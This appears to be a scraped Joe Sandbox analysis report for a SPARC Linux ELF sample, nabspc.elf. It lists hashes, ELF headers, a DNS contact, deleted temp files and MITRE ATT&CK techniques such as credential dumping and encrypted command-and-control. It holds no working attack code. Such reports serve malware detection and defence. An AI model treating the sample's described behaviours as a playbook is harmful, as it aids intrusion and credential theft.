Preview:	10000-1b000 r-xp 00000000 fd:00 531606 /tmp/..2c000-2d000 rw-p 0000c000 fd:00 531606 /tmp/..2d000-2f000 rw-p 00000000 00:00 0 .ff7fe000-ff7ff000 ---p 00000000 00:00 0 .ff7ff000-fffff000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, SPARC, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.712099777270085
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabspc.elf
File size:	50'040 bytes
MD5:	dddc3f82208eb401ed192e45d1a1b3f7
SHA1:	6b7dfb18648785896bd8b65f887df7623c55ffb0
SHA256:	c83383c76f5a312bb8120c146cbb7860a3c1a5da5c8a99040bbcd62229e078b5
SHA512:	57981e045815552a465d66d690fa94bbd150ad1b5986389b95050031dbdbd19859954d005026be980e11d7824fad89a49871a53c3e821392625829ba59daf1d8
SSDEEP:	768:TzsoGZZelaOfYkbHaiX7LYU9SPrOOoaO+V+J5LjszH7Lhw:/sfZZeITkbHXYuSq3IVSNszH7Lhw
TLSH:	26235D21BEB59C1BC5C6647B90E74634F6F6070BA4B8C71E7D721E8CBB04948260BAF1
File Content Preview:	.ELF...........................4.........4. ...(.......................(...(...........................\|... ........dt.Q................................@..(....@.'F................#.....a...`.....!..... ...@.....".........`......$ ... ...@...........`....

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	Sparc
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x101a4
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	49600
Section Header Size:	40
Number of Section Headers:	11
Header String Table Index:	10

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0x9d50	0x0	0x6	AX	4
.fini	PROGBITS	0x19e00	0x9e00	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x19e18	0x9e18	0x1010	0x0	0x2	A	8
.ctors	PROGBITS	0x2c000	0xc000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2c008	0xc008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x2c010	0xc010	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x2c018	0xc018	0x164	0x0	0x3	WA	8
.bss	NOBITS	0x2c180	0xc17c	0x11a0	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xc17c	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xae28	0xae28	6.1104	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xc000	0x2c000	0x2c000	0x17c	0x1320	0.6800	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 23:15:42.208233118 CET	59671	53	192.168.2.23	168.235.111.72
Nov 26, 2024 23:15:42.522244930 CET	53	59671	168.235.111.72	192.168.2.23

Start time (UTC):	22:15:41
Start date (UTC):	26/11/2024
Path:	/tmp/nabspc.elf
Arguments:	/tmp/nabspc.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabspc.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0WfkdC (deleted)

/tmp/qemu-open.13GMyz (deleted)

/tmp/qemu-open.15THuA (deleted)

/tmp/qemu-open.1VUk9B (deleted)

/tmp/qemu-open.1YwyfC (deleted)

/tmp/qemu-open.2j49lz (deleted)

/tmp/qemu-open.2pdpbA (deleted)

/tmp/qemu-open.3J4ZvD (deleted)

/tmp/qemu-open.3ZoJjD (deleted)

/tmp/qemu-open.4nmJPA (deleted)

/tmp/qemu-open.5LJZTA (deleted)

/tmp/qemu-open.5bnQ1A (deleted)

/tmp/qemu-open.5smcpB (deleted)

/tmp/qemu-open.63gKqz (deleted)

/tmp/qemu-open.66eDbz (deleted)

/tmp/qemu-open.6QGMqz (deleted)

/tmp/qemu-open.6Qcj6B (deleted)

/tmp/qemu-open.7WM1bz (deleted)

/tmp/qemu-open.7pDLJB (deleted)

/tmp/qemu-open.88mpNA (deleted)

/tmp/qemu-open.8p5NTC (deleted)

/tmp/qemu-open.8wZiTz (deleted)

/tmp/qemu-open.9qjUzC (deleted)

/tmp/qemu-open.9uIE4z (deleted)

/tmp/qemu-open.A9Vo9A (deleted)

/tmp/qemu-open.ABhwqA (deleted)

/tmp/qemu-open.AieG4B (deleted)

/tmp/qemu-open.Ba0sXB (deleted)

/tmp/qemu-open.BjcSpC (deleted)

/tmp/qemu-open.D7uf5C (deleted)

/tmp/qemu-open.DIABVB (deleted)

/tmp/qemu-open.Da5dEC (deleted)

/tmp/qemu-open.DxuLrA (deleted)

Linux Analysis Report
nabspc.elf

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre